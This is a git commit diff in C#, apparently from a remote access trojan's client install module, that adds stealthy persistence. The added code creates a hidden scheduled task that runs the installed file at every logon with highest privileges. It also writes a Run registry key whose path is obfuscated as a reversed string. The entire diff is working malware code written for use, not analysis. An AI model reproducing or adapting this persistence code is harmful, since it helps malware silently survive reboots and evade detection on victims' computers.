added schtasks

This commit is contained in:
NYAN CAT 2019-09-17 00:22:43 +03:00
parent 9b40743212
commit d276ddc75d

View File

@ -36,10 +36,26 @@ namespace Client.Install
Debug.WriteLine("NormalStartup Error : " + P.ProcessName);
}
}
if (Methods.IsAdmin())
{
Process proc = new Process
{
StartInfo = new ProcessStartInfo
{
FileName = "cmd.exe",
Arguments = "/c schtasks /create /f /sc ONLOGON /RL HIGHEST /tn " + @"""'" + Settings.InstallFile + @"""'" + " /tr " + @"""'" + installfullpath + @"""'",
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
}
};
proc.Start();
}
else
{
using (RegistryKey key = Registry.CurrentUser.OpenSubKey(Strings.StrReverse(@"\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS"), RegistryKeyPermissionCheck.ReadWriteSubTree))
{
key.SetValue(Path.GetFileName(installfullpath), "\"" + installfullpath + "\"");
key.SetValue(Settings.InstallFile, "\"" + installfullpath + "\"");
}
}
FileStream fs;